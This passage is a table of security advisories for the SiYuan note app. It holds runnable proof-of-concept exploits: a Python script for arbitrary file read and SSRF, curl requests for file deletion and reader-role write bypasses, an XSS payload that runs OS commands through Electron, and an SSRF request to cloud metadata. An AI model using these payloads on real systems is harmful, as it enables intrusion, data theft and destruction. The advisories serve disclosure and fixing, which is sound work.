| python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];\
print('Conf.Sync.Interval AFTER =',c['sync']['interval']);\
print('Conf.Graph.Global.minRefs AFTER =',c['graph']['global']['minRefs'])"
docker exec siyuan-audit grep -oE '\"interval\":[0-9]+' /siyuan/workspace/conf/conf.json
docker exec siyuan-audit grep -oE '\"minRefs\":[0-9]+' /siyuan/workspace/conf/conf.json
# 6. updateEmbedBlock - rewrite SQL content for any embed block ID.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/search/updateEmbedBlock \
-H 'Content-Type: application/json' \
-d '{"id":"<embed-block-id>","content":"poisoned"}'
```
Source-level proof, no privileged token involved:
```bash
$ grep -nE 'ginServer\.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)' \
kernel/api/router.go \
| grep -vE 'CheckAdminRole|CheckReadonly'
kernel/api/router.go:87: ... /api/storage/updateRecentDocViewTime", model.CheckAuth, ...
kernel/api/router.go:88: ... /api/storage/updateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:89: ... /api/storage/batchUpdateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:90: ... /api/storage/updateRecentDocOpenTime", model.CheckAuth, ...
kernel/api/r | fixed | osv:GHSA-gmmv-4cc5-wr9r |
| high | any | \u2014 | SiYuan has an arbitrary file write in the host via /api/asset/upload ### Summary
The /api/asset/upload endpoint in Siyuan is vulnerable to both arbitrary file write to the host and stored XSS (via the file write).
### Impact
Arbitrary file write | open | osv:GHSA-fqj6-whhx-47p7 |
| high | any | 0.0.0-20260329142331-918d1bd9f967 | SiYuan Desktop: Stored XSS in imported .sy.zip content leads to arbitrary command execution ### Summary
A vulnerability allows crafted block attribute values to bypass server-side attribute escaping when an HTML entity is mixed with raw special characters. An attacker can embed a malicious IAL value inside a `.sy` document, package it as a `.sy.zip`, and have the victim import it through the normal `Import -> SiYuan .sy.zip` workflow. Once the note is opened, the malicious attribute breaks out of its original HTML context and injects an event handler, resulting in stored XSS. In the Electron desktop client, this XSS reaches remote code execution because injected JavaScript runs with access to Node/Electron APIs.
### Details
The issue is caused by a logic regression in `escapeNodeAttributeValues` in `kernel/filesys/tree.go`.
Previously, the escaping logic converted `node.KramdownIAL` with `parse.IAL2Map(...)` before deciding whether a value needed escaping. That conversion unescaped existing entities first, so mixed values such as:
```
&" onmouseenter="alert('IAL-XSS')
```
were still recognized as unsafe and escaped correctly.
The logic changed to inspect raw `KramdownIAL` values directly. The new `needsEscapeForValue` implementation returns `false` as soon as it sees any known entity such as `&`, `"`, `<`, or `>`. This means a value containing both an entity and an unescaped raw quote bypasses escaping entirely.
That bypass becomes exploitable because the renderer later inserts block IAL values directly into HTML attributes. A payload like:
```
&" onmouseenter="require('child_process').exec('calc')
```
can be rendered into HTML equivalent to:
```
<div title="&" onmouseenter="require('child_process').exec('calc')">
```
This creates a stored XSS condition. In SiYuan Desktop, the Electron renderer runs with Node.js integration available, so attacker-controlled JavaScript can invoke Node APIs directly. As a result, the issue is not limited to script execution in the page context and becomes arbitrary command execution on the victim’s machine.
The stored XSS path was validated by importing a crafted `.sy.zip` through the normal GUI and triggering JavaScript execution from the rendered block. Because the same injected JavaScript runs in the privileged Electron renderer, this is an RCE issue in the desktop client.
### PoC
1. Start SiYuan Desktop `v3.6.1`.
2. Prepare a crafted `.sy.zip` containing a .sy document with a block IAL property such as:
```
"title": "&\" onmouseenter=\"require('child_process').exec('calc')"
```
3. In the UI, right-click any notebook.
4. Select `Import -> SiYuan .sy.zip`.
5. Import the crafted archive.
6. Open the imported note.
7. Move the mouse over the affected paragraph block.
8. Observe that the injected JavaScript executes.
9. On Windows, `calc.exe` launches, demonstrating arbitrary command execution.
### Impact
This vulnerability allows an attacker to deliver a malicious `.sy.zip` file that executes attacker-controlled JavaScript after import. In the desktop application, that JavaScript runs with Node/Electron privileges and can execute arbitrary operating system commands under the victim’s account. This makes the bug equivalent to local code execution triggered by importing and opening attacker-supplied content. | fixed | osv:GHSA-ff66-236v-p4fg |
| high | any | \u2014 | SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren ### Summary
A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the `/api/block/appendHeadingChildren` API endpoint.
The endpoint only requires `model.CheckAuth`, which accepts `RoleReader` sessions. Because the endpoint performs a persistent document mutation and does not enforce `CheckAdminRole` or `CheckReadonly`, a publish user with read-only privileges can append new blocks to existing documents.
This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.
### Details
File: router.go, block.go, block.go, session.go
Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209
Vulnerable Code:
```
- router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren)
- api/block.go: model.AppendHeadingChildren(id, childrenDOM)
- model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation)
- session.go: CheckAuth accepts RoleReader as authenticated
```
Why Vulnerable:
A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.
### PoC
1. Enable publish service and create low-privilege account
```
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
"enable": true,
"port": 6808,
"auth": {
"enable": true,
"accounts": [
{
"username": "viewer",
"password": "viewerpass"
}
]
}
}' \
http://127.0.0.1:6806/api/setting/setPublish
```
2. Create a test notebook and document (admin)
```
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{"name":"AuditPOC"}' \
http://127.0.0.1:6806/api/notebook/createNotebook
```
Create a document containing a heading:
```
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
"notebook":"<NOTEBOOK_ID>",
"path":"/Victim",
"markdown":"# VictimHeading\n\nOriginal paragraph"
}' \
http://127.0.0.1:6806/api/filetree/createDocWithMd
```
3. Retrieve heading block ID (low-priv publish account)
```
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \
http://127.0.0.1:6808/api/query/sql
```
Example response:
```
{
"id":"20260307093334-05sj7bz",
"root_id":"20260307093334-vsa6ft0"
}
```
4. Generate block DOM
```
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"dom":"<p>InjectedByReader</p>"}' \
http://127.0.0.1:6808/api/lute/html2BlockDOM
```
5. Append block using the vulnerable endpoint
```
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{
"id":"20260307093334-05sj7bz",
"childrenDOM":"<div ...>InjectedByReader</div>"
}' \
http://127.0.0.1:6808/api/block/appendHeadingChildren
```
Server response:
```
{"code":0}
```
6. Verify unauthorized modification
```
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \
http://127.0.0.1:6808/api/query/sql
```
Result includes attacker-controlled content:
```
InjectedByReader
```
This confirms that the low-privilege publish user successfully modified the document.
### Impact
This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.
Potential impacts include:
• Unauthorized modification of private notes
• Content tampering in published notebooks
• Loss of data integrity
• Possible chaining with other API endpoints to escalate further privileges
The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks. | open | osv:GHSA-f9cq-v43p-v523 |
| high | any | \u2014 | SiYuan File Read API Case Sensitivity Bypass can Lead to Path Traversal # File Read Interface Case Bypass Vulnerability
## Vulnerability Name
File Read Interface Case Bypass Vulnerability
## Overview
The `/api/file/getFile` endpoint uses **case-sensitive string equality checks** to block access to sensitive files.
On case-insensitive file systems such as **Windows**, attackers can bypass restrictions using mixed-case paths
and read protected configuration files.
## Impact
- Read sensitive information in configuration files (e.g., access codes, API Tokens, sync configurations, etc.).
- Remotely exploitable directly when the service is published without authentication.
## Trigger Conditions
- Running on a **case-insensitive file system**.
- The caller can access `/api/file/getFile` (via CheckAuth or Token injection in published services).
## PoC (Generic Example)
After enabling publication:
**Request:**
```http
POST /api/file/getFile
Content-Type: application/json
{"path":"cOnf/conf.json"}
```
**Expected Result:**
- Successfully return the content of the configuration file.
## Root Cause
Path comparison uses strict case-sensitive string matching, without case normalization or identical file validation.
## Fix Recommendations
- Normalize path casing before comparison (Windows/macOS).
- Use file-level comparison methods such as `os.SameFile`.
- Apply blacklist validation on sensitive paths **after case normalization**.
## Notes
- Environment identifiers and sensitive information have been removed.
## Solution Commit
`399a38893e8719968ea2511e177bb53e09973fa6` | open | osv:GHSA-f72r-2h5j-7639 |
| high | any | 0.0.0-20260118092326-b2274baba2e1 | SiYuan vulnerable to Arbitrary file Read / SSRF ### Summary
Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access
We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )
Please note that we used the latest Version and deployed it via this dockerfile :
Dockerfile:
```
FROM b3log/siyuan
ENV TZ=America/New_York \
PUID=1000 \
PGID=1000 \
SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword
RUN mkdir -p /siyuan/workspace
COPY ./startup.sh /opt/siyuan/startup.sh
RUN chmod +x /opt/siyuan/startup.sh
EXPOSE 6806
ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"]
```
startup.sh
```sh
#!/bin/sh
set -e
echo "nullctf{secret}" > "/flag_random.txt"
exec ./entrypoint.sh
```
docker-compose.yaml:
```yaml
services:
main:
build: .
ports:
- 6806:6806
restart: unless-stopped
environment:
- TZ=America/New_York
- PUID=1000
- PGID=1000
container_name: archivists_whisper
```
### Details
As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886
in `createDocWithMd` function
the `markdown` parameter is being passed to the model.CreateWithMarkdown without any sanitization
while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to `luteEngine.Md2BlockDOM(md, false)` without any sanitization too
### PoC
Here is a full Python POC ready to run
```py
import requests, sys, os
if len(sys.argv) >= 5 :
TARGET = sys.argv[1].rstrip("/")
PASSWORD = sys.argv[2]
attack_type = sys.argv[3]
if attack_type == "LFD":
file_path = f"file://{sys.argv[4]}"
elif attack_type == "SSRF":
file_path = f"{sys.argv[4]}"
else:
sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link")
TARGET = "http://127.0.0.1:6806"
PASSWORD = "SuperSecretPassword" # Workgroup password
file_path = "/etc/passwd" # file to read
s = requests.Session()
def login():
s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})
def list_notebooks():
res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json()
notebooks = res["data"]["notebooks"]
if not notebooks:
raise RuntimeError("No notebooks found – create one in the UI first")
notebook = notebooks[0]["id"]
return notebook
def file_to_md(notebook, file_path):
doc_id = s.post(
f"{TARGET}/api/filetree/createDocWithMd",
json={
"notebook": notebook,
"path": "/pwn",
"markdown": f"[loot]({file_path})"
},
).json()["data"]
return doc_id
def convert_file_to_asset(doc_id):
res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": doc_id})
# print(f"Debug : convert", res.text)
def get_new_file_name_from_assets(file_path):
res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"]
if attack_type == "LFD":
new_file_name = f"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-"
else:
new_file_name = f"network-asset-{os.path.basename(file_path)}-"
# print(new_file_name)
for file in res:
# print(file["name"])
if new_file_name in file["name"]:
return file["name"]
def retrieve_file_content(file_name):
return s.get(f"{TARGET}/assets/{file_name}").text
login()
notebook = list_notebooks()
doc_id = file_to_md(notebook, file_path)
# print(f"Debug : Docid", doc_id)
convert_file_to_asset(doc_id)
file_name = get_new_file_name_from_assets(file_path)
file_content = retrieve_file_content(file_name)
if len(file_content) > 0 :
print("Content : ", file_content)
else:
print(f"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name")
```
### File read
<img width="928" height="333" alt="image" src="https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb" />
<img width="800" height="143" alt="image" src="https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a" />
### SSRF :
We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy
<img width="822" height="63" alt="image" src="https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf" />
### Impact
As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )
### Solution
https://github.com/siyuan-note/siyuan/issues/16860 | fixed | osv:GHSA-cv54-7wv7-qxcw |
| high | any | 3.6.2 | SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark ### Summary
The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, `/api/bookmark/getBookmark` filters bookmark results by calling `FilterBlocksByPublishAccess(nil, ...)`. Because the filter treats a `nil` context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as `Protected`. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.
### Details
The issue is caused by an authorization bypass in the bookmark API path used by the publish service.
In `kernel/api/bookmark.go`, `getBookmark` checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes `nil` as the request context:
```go
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
tempBookmarks := &model.Bookmarks{}
for _, bookmark := range *bookmarks {
bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)
```
In `kernel/model/publish_access.go`, `FilterBlocksByPublishAccess` allows access when `c == nil`:
```go
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&
(c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
```
This bypasses the intended password enforcement performed by `CheckPublishAuthCookie`, which validates the `publish-auth-<id>` cookie for protected content.
The publish proxy authenticates anonymous publish visitors with a `RoleReader` token, and `CheckAuth` accepts `RoleReader`, so unauthenticated publish visitors can reach `/api/bookmark/getBookmark` and trigger the vulnerable code path.
I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a `POST /api/bookmark/getBookmark` request. The response returned a bookmark group containing the protected block in `data[0].blocks`, confirming the bypass.
### PoC
1. Start SiYuan with the publish service enabled.
2. Create a new document, for example publish-bookmark-poc.
3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.
4. Open the block attributes and assign a bookmark label, for example leak-test.
5. In Doc Tree, enable Publish Access Control and set the document to Protected.
6. Set a password for that document, for example test123, and confirm the change.
7. Open the publish service in a fresh incognito/private browser session.
8. Verify that opening the protected document through the publish UI requires the password.
9. Without entering the password, open the browser developer console and run:
```js
fetch("/api/bookmark/getBookmark", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: "{}"
})
.then(r => r.json())
.then(x => console.log(JSON.stringify(x, null, 2)));
```
10. Observe that the response contains a bookmark entry such as:
```json
{
"code": 0,
"msg": "",
"data": [
{
"name": "leak-test",
"blocks": [
{
"box": "20260327012540-ppsxc5j",
"path": "/20260327012543-acu1mdn.sy",
"hPath": "/publish-bookmark-poc",
"id": "20260327012543-1y6djn1",
"rootID": "20260327012543-acu1mdn",
"parentID": "20260327012543-acu1mdn",
"name": "",
"alias": "",
"memo": "",
"tag": "",
"content": "<span data-type=\"code\">BOOKMARK_SECRET_123</span>",
"fcontent": "",
"markdown": "`BOOKMARK_SECRET_123`",
"folded": false,
"type": "NodeParagraph",
"subType": "",
"refText": "",
"refs": null,
"defID": "",
"defPath": "",
"ial": {
"bookmark": "leak-test",
"id": "20260327012543-1y6djn1",
"updated": "20260327013116"
},
"children": null,
"depth": 1,
"count": 0,
"refCount": 0,
"sort": 10,
"created": "",
"updated": "",
"riffCardID": "",
"riffCard": null
}
],
"type": "bookmark",
"depth": 0,
"count": 1
}
]
}
```
Actual result:
`/api/bookmark/getBookmark` returns bookmarked blocks from protected documents without requiring the publish password.
### Impact
An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the `Protected` publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password. | fixed | osv:GHSA-c77m-r996-jr3q |
| high | any | 0.0.0-20260118092521-f8f4b517077b | SiYuan Vulnerable to Arbitrary File Read via File Copy Functionality ### Summary
The SiYuan Note application (v3.5.3) contains a logic vulnerability in the /api/file/globalCopyFiles endpoint. The function allows authenticated users to copy files from any location on the server's filesystem into the application's workspace without proper path validation
### Details
The vulnerability exists in the api/file.go source code. The function globalCopyFiles accepts a list of source paths (srcs) from the JSON request body. While the code checks if the source file exists using filelock.IsExist(src), it fails to validate whether the source path resides within the authorized workspace directory.
```
func globalCopyFiles(c *gin.Context) {
// ...
srcsArg := arg["srcs"].([]interface{})
for _, src := range srcs {
if !filelock.IsExist(src) { ... }
if err := filelock.Copy(src, dest); err != nil { ... }
}
}
```
### PoC
The following steps demonstrate how to exfiltrate the /etc/passwd file.
1. The attacker sends a request to copy the system file /etc/passwd to the root of the application workspace (/).
<img width="1537" height="357" alt="image" src="https://github.com/user-attachments/assets/7c8e5fe8-f609-4263-8685-eedf3cf22400" />
2. The attacker downloads the copied file using the standard file retrieval API, which now treats the system file as a legitimate workspace asset.
<img width="1549" height="588" alt="image" src="https://github.com/user-attachments/assets/37cac3dd-d9a9-4191-92ea-16f0424c73e1" />
<img width="756" height="337" alt="image" src="https://github.com/user-attachments/assets/c872d729-259b-4b2a-9314-8be6b2b9b26a" />
### Impact
This vulnerability allows an attacker to read arbitrary files from the server's filesystem, bypassing intended directory restrictions. By exfiltrating sensitive configuration files (such as docker-compose.yml containing database credentials) and system files (like /etc/passwd), an attacker can harvest secrets to pivot from application access to full infrastructure compromise. This results in a complete loss of confidentiality regarding both user data and the underlying server environment.
### Tested version:
<img width="1118" height="650" alt="image" src="https://github.com/user-attachments/assets/c98cbbcc-2a28-4a15-b84e-4a7120649c5e" />
### Solution
https://github.com/siyuan-note/siyuan/issues/16860 | fixed | osv:GHSA-94c7-g2fj-7682 |
| high | any | \u2014 | SiYuan has an arbitrary file deletion vulnerability ### Summary
A **arbitrary file deletion vulnerability** has been identified in the latest version of Siyuan Note. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.
### Details
The vulnerability can be reproduced by sending a crafted request to the `/api/history/getDocHistoryContent` endpoint.
Sending a request to the `/api/history/getDocHistoryContent` like:
```
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
```
Replace `<abs_filepath_of_a_file>` with the absolute file path of the target file you wish to delete.
The `historyPath` parameter in the payload is processed by the `func getDocHistoryContent` in `api/history.go:133`.
In turn, `historyPath` is passed to the `func GetDocHistoryContent` located in `model/history.go:150` , which is the slink of the vulnerability.
if `historyPath` exists and does not satisfy the `filesys.ParseJSONWithoutFix`, then it will be deleted by `os.RemoveAll`
```go
func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
if !gulu.File.IsExist(historyPath) {
logging.LogWarnf("doc history [%s] not exist", historyPath)
return
}
data, err := filelock.ReadFile(historyPath)
if err != nil {
logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
return
}
isLargeDoc = 1024*1024*1 <= len(data)
luteEngine := NewLute()
historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
if err != nil {
logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
os.RemoveAll(historyPath)
return
}
...
}
```
### PoC
```
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
```
### Impact
arbitrary file deletion vulnerability
| open | osv:GHSA-8fx8-pffw-w498 |
| high | any | 0.0.0-20260407035653-2f416e5253f1 | SiYuan: Publish Reader Can Arbitrarily Delete Attribute View Files via `/api/av/removeUnusedAttributeView` ## Summary
An authenticated publish-service reader can invoke `/api/av/removeUnusedAttributeView` and cause persistent deletion of arbitrary attribute view (`AV`) definition files from the workspace.
The route is protected only by generic `CheckAuth`, which accepts publish `RoleReader` requests. The handler forwards a caller-controlled `id` directly into a model function that deletes `data/storage/av/<id>.json` without verifying either:
- that the caller is allowed to perform write/destructive actions; or
- that the target AV is actually unused.
This is a persistent integrity and availability issue reachable from the publish surface.
## Root Cause
### 1. Publish users are issued a `RoleReader` JWT
- [kernel/model/auth.go](/root/audit/siyuan/kernel/model/auth.go#L105)
```go
ClaimsKeyRole: RoleReader,
```
### 2. The publish reverse proxy forwards that token upstream
- [kernel/server/proxy/publish.go](/root/audit/siyuan/kernel/server/proxy/publish.go#L131)
- [kernel/server/proxy/publish.go](/root/audit/siyuan/kernel/server/proxy/publish.go#L186)
### 3. `CheckAuth` accepts `RoleReader`
- [kernel/model/session.go](/root/audit/siyuan/kernel/model/session.go#L201)
```go
if role := GetGinContextRole(c); IsValidRole(role, []Role{
RoleAdministrator,
RoleEditor,
RoleReader,
}) {
c.Next()
return
}
```
### 4. The route is exposed with `CheckAuth` only
- [kernel/api/router.go](/root/audit/siyuan/kernel/api/router.go#L507)
```go
ginServer.Handle("POST", "/api/av/removeUnusedAttributeView", model.CheckAuth, removeUnusedAttributeView)
```
There is no `CheckAdminRole` and no `CheckReadonly`.
### 5. The handler forwards attacker-controlled `id` directly to the delete sink
- [kernel/api/av.go](/root/audit/siyuan/kernel/api/av.go#L32)
```go
avID := arg["id"].(string)
model.RemoveUnusedAttributeView(avID)
```
### 6. The model deletes the AV file unconditionally
- [kernel/model/attribute_view.go](/root/audit/siyuan/kernel/model/attribute_view.go#L49)
```go
func RemoveUnusedAttributeView(id string) {
absPath := filepath.Join(util.DataDir, "storage", "av", id+".json")
if !filelock.IsExist(absPath) {
return
}
...
if err = filelock.RemoveWithoutFatal(absPath); err != nil {
...
return
}
IncSync()
}
```
Crucially, this function does **not** verify that the supplied AV is actually unused. The name of the function suggests a cleanup helper, but the implementation is really "delete AV file by id if it exists".
## Attack Prerequisites
- Publish service enabled
- Attacker can access the publish service
- If publish auth is enabled, attacker has valid publish-reader credentials
- Attacker knows an `avID`
## Obtaining `avID`
`avID` is not secret. It is exposed extensively in frontend markup as `data-av-id`.
Examples:
- [app/src/protyle/render/av/render.ts](/root/audit/siyuan/app/src/protyle/render/av/render.ts#L117)
- [app/src/protyle/render/av/layout.ts](/root/audit/siyuan/app/src/protyle/render/av/layout.ts#L120)
- [app/src/protyle/render/av/groups.ts](/root/audit/siyuan/app/src/protyle/render/av/groups.ts#L52)
Any publish-visible database/attribute view can therefore disclose a valid `avID` to the attacker.
## Exploit Path
1. Attacker browses published content containing an attribute view.
2. Attacker extracts the `data-av-id` value from the page/DOM.
3. Attacker sends a POST request to `/api/av/removeUnusedAttributeView` through the publish service.
4. Publish proxy injects a valid `RoleReader` token.
5. `CheckAuth` accepts the request.
6. The handler passes the attacker-controlled `avID` to `model.RemoveUnusedAttributeView`.
7. The backend deletes `data/storage/av/<avID>.json`.
## Proof of Concept
Request:
```http
POST /api/av/removeUnusedAttributeView HTTP/1.1
Host: <publish-host>:<publish-port>
Content-Type: application/json
Authorization: Basic <publish-account-creds-if-enabled>
{
"id": "<exposed-data-av-id>"
}
```
Expected result:
- HTTP 200
- backend increments sync state
- the target attribute view file is removed from `data/storage/av/`
- published and local workspace behavior for that AV becomes broken until restored from history or recreated
## Impact
This gives a low-privileged publish reader a destructive persistent write primitive against workspace data.
Practical consequences include:
- deletion of live attribute view definitions
- corruption/breakage of published database views
- breakage of local workspace rendering and AV-backed relationships
- operational disruption until restore or manual repair
The bug affects integrity and availability, not merely UI state.
## Recommended Fix
At minimum:
1. Block publish/read-only users from this route.
2. Require admin/write authorization.
3. Re-validate that the target AV is actually unused before deletion.
Safe router fix:
```go
ginServer.Handle("POST", "/api/av/removeUnusedAttributeView",
model.CheckAuth,
model.CheckAdminRole,
model.CheckReadonly,
removeUnusedAttributeView,
)
```
And inside the model or handler, reject deletion unless the target `id` is present in `UnusedAttributeViews(...)`. | fixed | osv:GHSA-7m5h-w69j-qggg |
| high | any | 0.0.0-20260330031106-f09953afc57a | SiYuan vulnerable to reflected XSS via SVG namespace prefix bypass in SanitizeSVG (getDynamicIcon, unauthenticated) ### Summary
The `SanitizeSVG` function introduced in v3.6.0 to fix XSS in the unauthenticated `/api/icon/getDynamicIcon` endpoint can be bypassed by using namespace-prefixed element names such as `<x:script xmlns:x="http://www.w3.org/2000/svg">`. The Go HTML5 parser records the element's tag as `"x:script"` rather than `"script"`, so the tag check passes it through. The SVG is served with `Content-Type: image/svg+xml` and no Content Security Policy; when a browser opens the response directly, its XML parser resolves the prefix to the SVG namespace and executes the embedded script.
### Details
The `getDynamicIcon` route is registered without authentication:
```go
// kernel/server/serve.go
ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)
```
For type 8, the `content` query parameter is inserted directly into an SVG `<text>` element using `fmt.Sprintf` with no HTML encoding:
```go
// kernel/api/icon.go:579-584
return fmt.Sprintf(`
<svg id="dynamic_icon_type8" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<path d="..."/>
<text x="50%%" y="55%%" ...>%s</text>
</svg>`, ..., content)
```
`SanitizeSVG` then parses the SVG with `github.com/88250/lute/html` and removes elements whose lowercased tag name matches a fixed list:
```go
// kernel/util/misc.go:249-252
tag := strings.ToLower(c.Data)
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" ||
tag == "foreignobject" || "animate" == tag || ... {
n.RemoveChild(c)
```
The lute HTML parser stores the full qualified name including any namespace prefix in `Node.Data`. A payload like `<x:script xmlns:x="http://www.w3.org/2000/svg">` gets `Data = "x:script"`. The check `tag == "script"` is false, so the element is not removed and survives in the rendered output.
Confirmed with the same library version used by SiYuan:
```
html.Parse input: <x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>
Node.Data result: "x:script" (not "script")
Removed by check: false
Rendered output: <x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>
```
The same bypass works for every element on the blocklist: `x:iframe`, `x:object`, `x:foreignObject`, etc.
The fix is to strip the namespace prefix before comparing:
```go
localName := tag
if i := strings.LastIndex(tag, ":"); i >= 0 {
localName = tag[i+1:]
}
if localName == "script" || localName == "iframe" || ...
```
### PoC
```
GET /api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E HTTP/1.1
Host: 127.0.0.1:6806
```
Decoded `content` value:
```
</text><x:script xmlns:x="http://www.w3.org/2000/svg">alert(document.domain)</x:script><text>
```
The response is a valid SVG with the script element intact. Opening the URL directly in a browser triggers the alert, confirming script execution at the SiYuan server origin.
### Impact
Any user whose SiYuan instance is reachable over a local network is exposed. An attacker on the same network can craft the URL and share it. When the victim opens it in a browser, JavaScript executes at the `http://<siyuan-host>:6806` origin. Because SiYuan sets `Access-Control-Allow-Origin: *` and the script runs same-origin, it can call any API endpoint using the victim's existing session cookies, including endpoints to read all notes, export data, or modify settings. No authentication or prior access is needed to construct the payload. | fixed | osv:GHSA-73g7-86qr-jrg3 |
| high | any | 3.6.0 | SiYuan has a Full-Read SSRF via /api/network/forwardProxy ### Summary
The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.
### Affected Code
File: `/kernel/api/network.go` (Lines `153-317`)
```
func forwardProxy(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
destURL := arg["url"].(string)
// VULNERABILITY: Only validates URL format, not destination
if _, e := url.ParseRequestURI(destURL); nil != e {
ret.Code = -1
ret.Msg = "invalid [url]"
return
}
// ... HTTP request is made to user-controlled URL ...
resp, err := request.Send(method, destURL)
// Full response body is returned to the user
bodyData, err := io.ReadAll(resp.Body)
// ...
ret.Data = data // Contains full response body
}
```
### PoC
- First, authenticate with your access auth code and copy the authenticated cookie.
- Now use the request below for SSRF to Access Cloud Metadata.
```
POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102
{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'
```
<img width="1230" height="754" alt="Screenshot 2026-03-11 at 1 23 36 AM" src="https://github.com/user-attachments/assets/60486dba-1ccd-4287-8073-b803854756a2" />
### Impact
- Internal Network Reconnaissance: Attackers can scan internal services
- Cloud Credential Theft: Potential access to cloud metadata and IAM credentials
- Data Exfiltration: Server can be used as a proxy to access internal resources
- Firewall Bypass: Requests originate from trusted internal IP | fixed | osv:GHSA-56cv-c5p2-j2wg |
